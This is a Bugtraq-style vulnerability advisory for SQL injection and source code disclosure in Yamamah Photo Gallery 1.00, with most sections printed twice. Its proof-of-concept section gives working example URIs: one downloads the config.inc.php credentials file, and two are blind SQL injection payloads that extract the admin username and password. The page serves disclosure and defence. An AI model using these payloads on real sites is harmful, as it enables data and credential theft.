Yamamah Photo Gallery SQL Injection and Source Code Disclosure Vulnerabilities
BID:40835
Info
Yamamah Photo Gallery SQL Injection and Source Code Disclosure Vulnerabilities
| Bugtraq ID: | 40835 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 12 2010 12:00AM |
| Updated: | Jun 12 2010 12:00AM |
| Credit: | anT!-Tr0J4n |
| Vulnerable: |
yamamah yamamah 1.00 |
| Not Vulnerable: | |
Discussion
Yamamah Photo Gallery SQL Injection and Source Code Disclosure Vulnerabilities
Yamamah Photo Gallery is prone to an SQL-injection vulnerability and a source-code-disclosure vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to view the source code of files in the context of the server process, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; other attacks may also be possible.
Yamamah 1.00 is vulnerable; other versions may also be affected.
Yamamah Photo Gallery is prone to an SQL-injection vulnerability and a source-code-disclosure vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to view the source code of files in the context of the server process, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; other attacks may also be possible.
Yamamah 1.00 is vulnerable; other versions may also be affected.
Exploit / POC
Yamamah Photo Gallery SQL Injection and Source Code Disclosure Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http:www.example.com/index.php?download=includes/config.inc.php
http:www.example.com/yamamah/?news=1+and%20%28select%20substring%28concat%281,username%29,1,1%29%20from%20admin%20limit%200,1%29=1
http:www.example.com/yamamah/?news=1+and%20%28select%20substring%28concat%281,password%29,1,1%29%20from%20admin%20limit%200,1%29=1
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http:www.example.com/index.php?download=includes/config.inc.php
http:www.example.com/yamamah/?news=1+and%20%28select%20substring%28concat%281,username%29,1,1%29%20from%20admin%20limit%200,1%29=1
http:www.example.com/yamamah/?news=1+and%20%28select%20substring%28concat%281,password%29,1,1%29%20from%20admin%20limit%200,1%29=1
Solution / Fix
Yamamah Photo Gallery SQL Injection and Source Code Disclosure Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Yamamah Photo Gallery SQL Injection and Source Code Disclosure Vulnerabilities
References:
References:
- Yamamah - Homepage (Yamamah)